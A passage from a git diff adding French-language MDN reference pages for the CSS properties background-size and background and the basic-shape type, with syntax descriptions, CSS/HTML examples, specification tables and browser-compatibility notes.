+ <dd>Un mot-clé dont le comportement est opposé à celui de <code>contain</code>. L'image est redimensionnée pour être aussi grande que possible et pour conserver ses proportions. L'image couvre toute la largeur ou la hauteur du conteneur et les parties qui dépassent sont rognées si les proportions du conteneur sont différentes (il n'y aucun espace libre sur lequel on verrait la couleur d'arrière-plan).</dd>
+ <dt id="auto"><code>auto</code></dt>
+ <dd>Un mot-clé qui redimensionne l'image d'arrière-plan afin que ses proportions soient conservées.</dd>
+ <dt id="length"><code>&lt;length&gt;</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;length&gt;")}} qui redimensionne l'image afin que celle-ci occupe la longueur indiquée dans la dimension concernée. Les valeurs négatives ne sont pas autorisées.</dd>
+ <dt id="percentage"><code>&lt;percentage&gt;</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;percentage&gt;")}} qui redimensionne l'image d'arrière-plan proportionnellement à la taille de la zone dédiée à l'arrière-plan, définie via {{cssxref("background-origin")}}. Par défaut, cette zone correspond à la boîte de contenu et de remplissage (<em>padding</em>) mais peut être modifiée pour contenir uniquement la boîte de contenu ou, à l'inverse, les boîtes de contenu, remplissage et marge. Si la propriété {{cssxref("background-attachment")}} vaut <code>fixed</code>, la zone de positionnement de l'arrière-plan sera la fenêtre du navigateur (sans les barres de défilement). Les valeurs négatives ne sont pas autorisées.</dd>
+</dl>
+
+<h3 id="Dimensions_intrinsèques_et_proportions">Dimensions intrinsèques et proportions</h3>
+
+<p>Le calcul des valeurs dépend des dimensions intrinsèques de l'image (sa largeur et sa hauteur) et de ses proportions intrinsèques (le rapport entre la largeur et la hauteur). Voici les différents cas de figures possibles :</p>
+
+<ul>
+ <li>Une image matricielle (telle qu'une image JPG) possède toujours des dimensions intrinsèques et des proportions intrinsèques.</li>
+ <li>Une image vectorielle (telle qu'une image SVG) ne possède pas nécessairement de dimensions intrinsèque. Si elle possède à la fois une dimension verticale et une dimension horizontale intrinsèques, elle possèdera alors des proportions intrinsèques. Si elle ne possède qu'une ou aucune dimension intrinsèque, elle peut avoir ou ne pas avoir de proportions.</li>
+ <li>Un dégradé CSS (cf. {{cssxref("&lt;gradient&gt;")}}) ne possède ni dimension ni proportion intrinsèque.</li>
+ <li>Les images d'arrière-plan créées avec la fonction {{cssxref("element()")}} utiliseront les dimensions et proportions intrinsèques de l'élément générateur.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note :</strong> Le comportement associé aux dégradés (<code>&lt;gradient&gt;</code>) a été modifié avec Gecko 8.0 {{geckoRelease("8.0")}}. Auparavant, les dégradés étaient traités comme des images sans dimensions intrinsèques mais avec des proportions intrinsèques identiques à celles de la zone de positionnement de l'arrière-plan.</p>
+</div>
+
+<div class="note">
+<p><strong>Note :</strong> Pour Gecko, les images d'arrière-plan créées avec la fonction {{cssxref("element()")}} sont actuellement traitées comme des images ayant les dimensions de l'élément ou, si la zone de positionnement est un élément SVG, avec les proportions intrinsèques. Ce comportement n'est pas standard.</p>
+</div>
+
+<p>Selon le caractère intrinsèque ou non des dimensions et des proportions, la taille d'affichage de l'image d'arrière-plan est calculée de la façon suivante :</p>
+
+<dl>
+ <dt>Si les deux composants de <code>background-size</code> sont définis et qu'aucun ne vaut <code>auto</code> :</dt>
+ <dd>L'image utilise la taille définie.</dd>
+ <dt>Si <code>background-size</code> vaut <code>contain</code> ou <code>cover</code> :</dt>
+ <dd>L'image est affichée et ses proportions sont conservées pour que l'image soit contenue dans la zone ou la recouvre complètement. Si l'image ne possède pas de proportions intrinsèques; elle est affichée avec la taille de la zone de positionnement de l'arrière-plan.</dd>
+ <dt>Si <code>background-size</code> vaut <code>auto</code> ou <code>auto auto</code> :</dt>
+ <dd>
+ <ul>
+  <li>Si l'image possède deux dimensions intrinsèques, c'est cette taille qui est utilisée.</li>
+  <li>Si elle ne possède pas de dimension intrinsèque ni de proportion intrinsèque, elle est affichée avec la taille de la zone dédiée à l'arrière-plan.</li>
+  <li>Si elle n'a aucune dimensions mais possède une proportion, elle sera affichée comme si la valeur <code>contain</code> avait été utilisée.</li>
+  <li>Si l'image possède une dimension intrinsèque et une proportion, elle est affichée avec cette dimension et cette proportion.</li>
+  <li>Si l'image possède une dimension intrinsèque mais aucune proportion, elle sera affichée avec la dimension intrinsèque et l'autre dimension suivra la taille de la zone pour l'arrière-plan.</li>
+ </ul>
+ </dd>
+ <dd>
+ <div class="note"><strong>Note :</strong> Les images SVG peuvent contenir un attribut <code><a href="/fr/docs/Web/SVG/Attribute/preserveAspectRatio">preserveAspectRatio</a></code> pour lequel la valeur par défaut est équivalente à <code>contain</code>. Pour Firefox 43, à la différence de Chrome 52, une valeur explicite pour <code>background-size</code> permet d'ignorer <code>preserveAspectRatio</code>.</div>
+ </dd>
+ <dt>Si <code>background-size</code> possède une composante <code>auto</code> et que l'autre composante est différente de <code>auto</code> :</dt>
+ <dd>
+ <ul>
+  <li>Si l'image possède une proportion intrinsèque, elle sera affichée avec la dimension indiquée et la deuxième sera calculée grâce à la proportion.</li>
+  <li>Si l'image ne possède aucune proportion intrinsèque, la dimension indiquée sera utilisée pour la dimension concernée et on utilisera la dimension intrinsèque de l'image pour l'autre axe si elle existe. Sinon, on prendra la dimension de la zone de l'arrière-plan pour cet axe.</li>
+ </ul>
+ </dd>
+</dl>
+
+<div class="note">
+<p><strong>Note : </strong>Le dimensionnement des images d'arrière-plan qui sont des images vectorielles sans dimension ou proportion intrinsèque n'est pas implémenté par l'ensemble des navigateur. Attention à bien vérifier le résultat obtenu dans les différents navigateurs par rapport aux règles émises ci-avant.</p>
+</div>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="cover_2"><code>cover</code></h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">div {
+  height: 300px;
+  width: 200px;
+  background-color: palegreen;
+  background-image: url(https://mdn.mozillademos.org/files/12988/p_201.jpg);
+  background-repeat: no-repeat;
+}
+
+.exemple_cover {
+  background-size: cover;
+}</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="exemple_cover"&gt;&lt;/div&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("cover","200","300")}}</p>
+
+<h3 id="contain_2"><code>contain</code></h3>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">div {
+  height: 300px;
+  width: 200px;
+  background-color: palegreen;
+  background-image: url(https://mdn.mozillademos.org/files/12988/p_201.jpg);
+  background-repeat: no-repeat;
+}
+
+.exemple_cover {
+  background-size: contain;
+}</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;div class="exemple_cover"&gt;&lt;/div&gt;</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("contain","200","300")}}</p>
+
+<h3 id="auto_50"><code>auto 50%</code></h3>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css">div {
+  height: 300px;
+  width: 200px;
+  background-color: palegreen;
+  background-image: url(https://mdn.mozillademos.org/files/12988/p_201.jpg);
+  background-repeat: no-repeat;
+}
+
+.exemple_cover {
+  background-size: auto 50%;
+}</pre>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;div class="exemple_cover"&gt;&lt;/div&gt;</pre>
+
+<h4 id="Résultat_3">Résultat</h4>
+
+<p>{{EmbedLiveSample("auto_50","200","300")}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Si on utilise un dégradé (<code>&lt;gradient&gt;</code>) comme arrière-plan et qu'on définit une valeur associée pour la propriété <code>background-size</code>, mieux vaut ne pas définir une taille qui n'utilise qu'un seul composant <code>auto</code> ou qu'une seule largeur (par exemple <code>background-size: 50%</code>). En effet, le rendu de tels éléments a été modifié avec Firefox 8 et peut avoir un comportement différent entre les navigateurs (tous n'implémentent pas exactement la <a href="https://www.w3.org/TR/css3-background/#the-background-size">spécification CSS3 pour <code>background-size</code></a> et <a href="https://dev.w3.org/csswg/css3-images/#gradients">la spécification CSS3 pour les images qui sont des dégradés</a>).</p>
+
+<pre class="brush: css">.gradient-exemple {
+  width: 50px;
+  height: 100px;
+  background-image: linear-gradient(blue, red);
+
+  /* Méthode risquée */
+  background-size: 25px;
+  background-size: 50%;
+  background-size: auto 50px;
+  background-size: auto 50%;
+
+  /* Sans risque */
+  background-size: 25px 50px;
+  background-size: 50% 50%;
+}
+</pre>
+
+<p>On notera qu'il n'est pas recommandé d'utiliser une dimension exprimée en pixels et une autre dimension avec <code>auto</code> lorsqu'on manipule des dégradés car il est impossible d'obtenir le même rendu que celui de Firefox pour les versions antérieures à Firefox 8 sans connaître la taille exacte de l'élément dont on définit l'arrière-plan.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-background-size', 'background-size')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("css.properties.background-size")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images">Redimensionner les images d'arrière-plan</a></li>
+ <li><a href="/fr/docs/Web/CSS/Redimensionnement_arrière-plans_SVG">Redimensionner les arrière-plans SVG</a></li>
+ <li>{{cssxref("object-fit")}}</li>
+</ul>
diff --git a/files/fr/web/css/background/index.html b/files/fr/web/css/background/index.html
new file mode 100644
index 0000000000..ea37897c46
--- /dev/null
+++ b/files/fr/web/css/background/index.html
@@ -0,0 +1,160 @@
+---
+title: background
+slug: Web/CSS/background
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/background
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>background</code></strong> est une <a href="/fr/docs/Web/CSS/Propri%C3%A9t%C3%A9s_raccourcies">propriété raccourcie</a> qui permet de définir les différentes valeurs des propriétés liées à la gestion des arrière-plans d'un élément (couleur, image, origine, taille, répétition, etc.).</p>
+
+<div>{{EmbedInteractiveExample("pages/css/background.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Elle permet de définir une ou plusieurs valeurs pour : {{cssxref("background-clip")}}, {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-origin")}}, {{cssxref("background-position")}}, {{cssxref("background-repeat")}}, {{cssxref("background-size")}}, et {{cssxref("background-attachment")}}.</p>
+
+<p>Lorsqu'on utilise la propriété raccourcie <code>background</code>, les valeurs fournies sont appliquées et pour les valeurs absentes, la propriété réinitialisera les propriétés détaillées avec leurs valeurs initiales.</p>
+
+<div class="note">
+<p><strong>Note :</strong> La propriété {{cssxref("background-color")}} ne peut être définie que sur le dernier arrière-plan car il n'y a qu'une seule couleur d'arrière-plan pour un élément.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* On utilise une couleur &lt;background-color&gt; */
+background: green;
+
+/* Ici, une &lt;bg-image&gt; avec &lt;repeat-style&gt; */
+background: url("test.jpg") repeat-y;
+
+/* Là &lt;box&gt; et &lt;background-color&gt; */
+background: border-box red;
+
+/* Ici on utilise une seule image, centrée */
+/* et remise à l'échelle */
+background: no-repeat center/80% url("../img/image.png");
+</pre>
+
+<p>La propriété <code>background</code> permet de définir une ou plusieurs couches d'arrière-plan, séparées par des virgules. Chacune des couches peut être définie avec :</p>
+
+<ul>
+ <li>Zéro ou une occurence d'une valeur :
+  <ul>
+   <li><code><a href="#&lt;attachment>">&lt;attachment&gt;</a></code></li>
+   <li><code><a href="#&lt;bg-image>">&lt;bg-image&gt;</a></code></li>
+   <li><code><a href="#&lt;position>">&lt;position&gt;</a></code></li>
+   <li><code><a href="#&lt;bg-size>">&lt;bg-size&gt;</a></code></li>
+   <li><code><a href="#&lt;repeat-style>">&lt;repeat-style&gt;</a></code></li>
+  </ul>
+ </li>
+ <li>Une valeur <code><a href="#&lt;bg-size>">&lt;bg-size&gt;</a></code> qui peut uniquement être utilisée directement après une valeur <code><a href="#&lt;position>">&lt;position&gt;</a></code> suivie d'une barre oblique (par exemple "<code>center/80%</code>")</li>
+ <li>Une valeur <code><a href="#&lt;box>">&lt;box&gt;</a></code> présente zéro, une voire deux fois. Si elle n'est présente qu'une fois, cette valeur sera utilisée pour définir {{cssxref("background-origin")}} et {{cssxref("background-clip")}}. Si elle est présente à deux reprises, la première occurrence sera utilisée pour définir {{cssxref("background-origin")}} et la seconde définira {{cssxref("background-clip")}}.</li>
+ <li>Une valeur <code><a href="#&lt;background-color>">&lt;background-color&gt;</a></code> qui peut uniquement être incluse pour la dernière couche qui est définie.</li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;attachment&gt;</code></dt>
+ <dd>Voir {{cssxref("background-attachment")}}</dd>
+ <dt><code>&lt;box&gt;</code></dt>
+ <dd>Voir {{cssxref("background-clip")}} et {{cssxref("background-origin")}}</dd>
+ <dt><code>&lt;background-color&gt;</code></dt>
+ <dd>Voir {{cssxref("background-color")}}</dd>
+ <dt><code>&lt;bg-image&gt;</code></dt>
+ <dd>Voir {{Cssxref("background-image")}}</dd>
+ <dt><code>&lt;position&gt;</code></dt>
+ <dd>Voir {{cssxref("background-position")}}</dd>
+ <dt><code>&lt;repeat-style&gt;</code></dt>
+ <dd>Voir {{cssxref("background-repeat")}}</dd>
+ <dt><code>&lt;bg-size&gt;</code></dt>
+ <dd>Voir {{cssxref("background-size")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="banniere"&gt;
+  Dessine-moi une étoile&lt;br/&gt;
+  Qui brille&lt;br/&gt;
+  Dans le ciel.
+&lt;/p&gt;
+&lt;p class="attention"&gt;Voici un paragraphe !&lt;p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css' highlight:[2,6];">.attention {
+  background: pink;
+}
+
+.banniere {
+  background: url("https://mdn.mozillademos.org/files/11983/starsolid.gif") #99f repeat-y fixed;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Les navigateurs ne fournissent pas d'informations spécifiques aux outils d'assistance quant aux images d'arrière-plan. Les lecteurs d'écran ne pourront donc pas annoncer le sens de l'image aux utilisateurs. Si l'image contient des informations critiques pour la compréhension générale de la page, mieux vaudra décrire ces informations de façon sémantique dans le document.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_%E2%80%94_Providing_text_alternatives_for_non-text_content">Comprendre la règle 1.1 du WCAG</a></li>
+ <li><a href="https://www.w3.org/TR/2016/NOTE-UNDERSTANDING-WCAG20-20161007/text-equiv-all.html">Comprendre les critères pour 1.1.1, comprendre WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-background', 'background')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>La propriété raccourcie a été étendue pour gérer plusieurs arrière-plans et également gérer les propriétés {{cssxref("background-size")}}, {{cssxref("background-origin")}} et {{cssxref("background-clip")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'colors.html#propdef-background', 'background')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Pas de modification significative.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#background', 'background')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une poule requête sur : <a href="https://github.com/mdn/browser-compat-data/blob/master/css/properties/background.json">https://github.com/mdn/browser-compat-data/blob/master/css/properties/background.json</a>.</p>
+
+<p>{{Compat("css.properties.background")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("box-decoration-break")}}</li>
+ <li><a href="/fr/docs/Web/CSS/Utilisation_de_dégradés_CSS">Les gradients</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Background_and_Borders/Utiliser_des_fonds_multiples">Gérer plusieurs arrière-plans</a></li>
+</ul>
diff --git a/files/fr/web/css/basic-shape/index.html b/files/fr/web/css/basic-shape/index.html
new file mode 100644
index 0000000000..e72b58ad92
--- /dev/null
+++ b/files/fr/web/css/basic-shape/index.html
@@ -0,0 +1,189 @@
+---
+title: <basic-shape>
+slug: Web/CSS/basic-shape
+tags:
+  - CSS
+  - Reference
+  - Type
+translation_of: Web/CSS/basic-shape
+---
+<div>{{CSSRef}}</div>
+
+<p>Le type <strong><code>&lt;basic-shape&gt;</code></strong> permet de définir une forme simple en utilisant des fonctions et est notamment utilisé pour les propriétés {{cssxref("clip-path")}}, {{cssxref("shape-outside")}} ou {{cssxref("offset-path")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/type-basic-shape.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Lorsque cette syntaxe est utilisée pour définir des formes, la boîte de référence sera indiquée par chaque propriété qui utilise des valeurs <code>&lt;basic-shape&gt;</code>. L'origine du repère utilisé se situe dans le coin en haut à gauche de la boîte de référence avec un axe des abscisses allant vers la droite et un axe des ordonnées allant vers le bas. Toutes les longueurs exprimées en pourcentages sont calculées en fonction des dimensions de la boîte de référence.</p>
+
+<p>Les formes qui suivent sont prises en charge. Toutes les valeurs <code>&lt;basic-shape&gt;</code> sont créées via une notation fonctionnelle (pour analyser la syntaxe, se référer à <a href="/fr/docs/Web/CSS/Syntaxe_de_d%C3%A9finition_des_valeurs">cette page explicative</a>).</p>
+
+<dl>
+ <dt><code><a name="inset()"></a>inset()</code></dt>
+ <dd>
+ <pre class="syntaxbox">inset( &lt;shape-arg&gt;{1,4} [round &lt;border-radius&gt;]? )</pre>
+
+ <p>Cette fonction permet de définir un rectangle incrusté (<em>inset</em>).</p>
+
+ <p>Lorsque les quatre premiers arguments sont fournis, ils représentent respectivement les décalages, vers l'intérieur, depuis les côtés haut, droit, bas et gauche par rapport à la boîte de référence. Ces arguments peuvent être utilisés de la même façon que pour {{cssxref("margin")}} afin d'utiliser seulement une, deux ou quatre valeurs.</p>
+
+ <p>L'argument facultatif <code>&lt;border-radius&gt;</code> permet de définir des coins arrondis pour le rectangle incrusté en utilisant la même syntaxe que pour la propriété raccourcie {{cssxref("border-radius")}}.</p>
+
+ <p>Si on utilise deux valeurs de décalage pour le même axe (par exemple un décalage depuis le bas et un décalage depuis le haut) dont la somme est supérieure à la dimension de la boîte sur cet axe, la forme obtenue ne contiendra aucune zone. On aura alors une zone de flottement vide.</p>
+ </dd>
+ <dt><code><a name="polygon()"></a>polygon()</code></dt>
+ <dd>
+ <pre class="syntaxbox">polygon( [&lt;fill-rule&gt;,]? [&lt;shape-arg&gt; &lt;shape-arg&gt;]# )</pre>
+
+ <p><code>&lt;fill-rule&gt;</code> représente <a href="/fr/docs/Web/SVG/Attribute/fill-rule">la règle de remplissage</a> utilisée pour déterminer l'intérieur du polygone. Les valeurs possibles sont <code>nonzero</code> et <code>evenodd</code>. La valeur par défaut pour cet argument est <code>nonzero</code>.</p>
+
+ <p>Ensuite, chaque paire d'arguments dans la liste représente les coordonnées <em>x<sub>i</sub></em> et <em>y<sub>i</sub></em> du i-ème sommet du polygone.</p>
+ </dd>
+ <dt><code><a name="circle()"></a>circle(</code>)</dt>
+ <dd>
+ <pre class="syntaxbox">circle( [&lt;shape-radius&gt;]? [at &lt;position&gt;]? )</pre>
+
+ <p>L'argument <code>&lt;shape-radius&gt;</code> représente le rayon du cercle. Les valeurs négatives ne sont pas autorisées et les valeurs exprimées en pourcentages seront calculées de la façon suivante en fonction de la hauteur et de la largeur de la boîte de référence <code>sqrt(largeur^2+hauteur^2)/sqrt(2)</code>.</p>
+
+ <p>L'argument {{cssxref("&lt;position&gt;")}} définit la position pour le centre du cercle. La valeur par défaut est <code>center</code>.</p>
+ </dd>
+ <dt><code><a name="ellipse()"></a>ellipse()</code></dt>
+ <dd>
+ <pre class="syntaxbox">ellipse( [&lt;shape-radius&gt;{2}]? [at &lt;position&gt;]? )</pre>
+
+ <p>Les arguments <code>&lt;shape-radius&gt;</code> représentent les demi-axes horizontaux (r<sub>x</sub>) et verticaux (r<sub>y</sub>) de l'ellipse. Les valeurs négatives ne sont pas autorisées. Les valeurs exprimées en pourcentages sont calculées : en fonction de la hauteur de la boîte de référence pour le demi-axe vertical, en fonction de la largeur de la boîte de référence pour le demi-axe horizontal.</p>
+
+ <p>L'argument {{cssxref("&lt;position&gt;")}} définit l'emplacement du centre de l'ellipse. La valeur par défaut est <code>center</code>.</p>
+ </dd>
+ <dt><code><a id="path()" name="path()"></a>path()</code></dt>
+ <dd>
+ <pre class="syntaxbox"><code>path( [&lt;fill-rule&gt;,]? &lt;string&gt;)</code></pre>
+
+ <p>L'argument optionnel <code>&lt;fill-rule&gt;</code> représente <a href="/fr/docs/Web/SVG/Attribute/fill-rule">la règle de remplissage</a> utilisée pour déterminer l'intérieur du chemin. Les valeurs possibles sont <code>nonzero</code> et <code>evenodd</code>. La valeur par défaut est <code>nonzero</code>.</p>
+
+ <p>L'argument obligatoire <code>&lt;string&gt;</code> est une chaîne de caractères, entre quotes, représentant <a href="/fr/docs/Web/SVG/Attribute/d">un chemin SVG</a>.</p>
+ </dd>
+</dl>
+
+<p>Les arguments qui ne sont pas définis ci-avant suivent cette syntaxe :</p>
+
+<pre class="syntaxbox">&lt;shape-arg&gt; = &lt;length&gt; | &lt;percentage&gt;
+&lt;shape-radius&gt; = &lt;length&gt; | &lt;percentage&gt; | closest-side | farthest-side</pre>
+
+<p><code>closest-side</code> utilise la distance entre le centre de la forme et le côté le plus proche de la boîte de la référence. Pour les cercles, cela au côté le plus proche dans les deux axes. Pour les ellipses, cela correspond au côté le plus proche dans l'axe du rayon de l'ellipse.</p>
+
+<p>À l'inverse, <code>farthest-side</code> utilise la distance entre le centre de la forme et le côté le plus éloigné de la boîte de référence.</p>
+
+<h2 id="Les_valeurs_calculées_des_formes_simples">Les valeurs calculées des formes simples</h2>
+
+<p>Les valeurs d'une fonction <code>&lt;basic-shape&gt;</code> sont calculées comme indiqué, avec ces exceptions :</p>
+
+<ul>
+ <li>Les valeurs absentes sont incluses et leurs valeurs calculées sont leurs valeurs par défaut.</li>
+ <li>Une valeur {{cssxref("&lt;position&gt;")}} pour <code>circle()</code> ou  <code>ellipse()</code> est calculée comme une paire de distances indiquant les décalages (horizontaux puis verticaux) depuis l'origine en haut à gauche. Chaque décalage est indiqué comme une combinaison d'une longueur absolue et d'un pourcentage.</li>
+ <li>Pour <code>inset()</code>, une valeur {{cssxref("border-radius")}} est calculée comme une liste développée de de huit valeurs {{cssxref("length")}} ou de huit pourcentages.</li>
+</ul>
+
+<h2 id="L'interpolation_des_formes_simples">L'interpolation des formes simples</h2>
+
+<div>Afin d'obtenir une interpolation entre deux formes simples, il faut que les règles qui suivent soient respectées. Les valeurs des argument des fonctions de formes sont interpolées comme une liste simple. Les valeurs de la liste sont interpolées comme <a href="/fr/docs/Web/CSS/length">des longueurs</a>, <a href="/fr/docs/Web/CSS/percentage">des pourcentages</a> ou <a href="/fr/docs/Web/CSS/calc">des valeurs calculées</a> lorsque c'est possible. Si les valeurs de la liste ne sont pas de ces types mais sont identiques, ces valeurs seront interpolées.</div>
+
+<div> </div>
+
+<ul>
+ <li>Les deux formes doivent partager la même boîte de référence.</li>
+ <li>Si les deux formes sont du même type et que ce type est <code>ellipse()</code> ou <code>circle()</code>, qu'aucun des rayons n'utilise les mots-clés <code>closest-side</code> ou <code>farthest-side</code>, on aura une interpolation entre chaque valeur.</li>
+ <li>Si les deux formes sont de type <code>inset()</code>, on aura une interpolation entre chaque valeur.</li>
+ <li>Si les deux formes sont de type <code>polygon()</code>, que les deux polygones possèdent le même nombre de sommets et utilisent la même règle <code>fill-rule</code>, l'interpolation sera appliquée entre chaque valeur.</li>
+ <li>Si les deux formes sont de type <code>path()</code>, que les deux chemins possèdent le même nombre de composantes, dans le même ordre et qu'elles sont de même type, les données sont interpolées entre chaque chemin comme des nombres réels.</li>
+ <li>Dans les autres cas, aucune interpolation n'est définie.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.clipped {
+  clip-path: circle(15px at 20px 20px); // bugs 1247229 / 1075457 pour Firefox
+}</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;img class="clipped" src="https://pixabay.com/static/uploads/photo/2016/01/17/04/29/rain-drops-1144448_960_720.jpg" alt="Rain Drops"&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Exemple_simple',"500","500")}}</p>
+
+<h3 id="Polygone_animé">Polygone animé</h3>
+
+<p>Dans cet exemple, on utilise la règle-@ {{cssxref("@keyframes")}} afin d'animer un chemin de rognage entre deux polygones. On notera que les deux polygones ont le même nombre de sommets, une condition nécessaire pour que l'animation fonctionne.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;div&gt;&lt;/div&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">div {
+  width: 300px;
+  height: 300px;
+  background: red;
+  clip-path: polygon(50% 0%, 100% 25%, 100% 75%, 50% 100%, 0% 75%, 0% 25%);
+  animation: 5s poly infinite alternate ease-in-out;
+  margin: 1em auto;
+  display: block;
+}
+
+@keyframes poly {
+  from {
+    clip-path: polygon(50% 0%, 100% 25%, 100% 75%, 50% 100%, 0% 75%, 0% 25%);
+  }
+
+  to {
+    clip-path: polygon(44% 26%, 58% 38%, 58% 38%, 44% 81%, 44% 81%, 25% 49%);
+  }
+}</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample('Polygone_animé','100%', '340')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Shapes', '#basic-shape-functions', '&lt;basic-shape&gt;')}}</td>
+   <td>{{Spec2('CSS Shapes')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.types.basic-shape")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("clip-path")}}</li>
+ <li>{{cssxref("shape-outside")}}</li>
+ <li><a href="/fr/docs/Outils/Inspecteur/Comment/Edit_CSS_shapes">Éditer des contours de formes CSS avec les outils de développement Firefox</a></li>
+</ul>
diff --git a/files/fr/web/css/blend-mode/index.html b/files/fr/web/css/blend-mode/index.html
new file mode 100644
index 0000000000..d7ef5c5700
--- /dev/null
+++ b/files/fr/web/css/blend-mode/index.html
@@ -0,0 +1,353 @@
+---
+title: <blend-mode>
+slug: Web/CSS/blend-mode
+tags:
+  - CSS
+  - Reference
+  - Type
+translation_of: Web/CSS/blend-mode
+---
+<div>{{CSSRef}}</div>
+
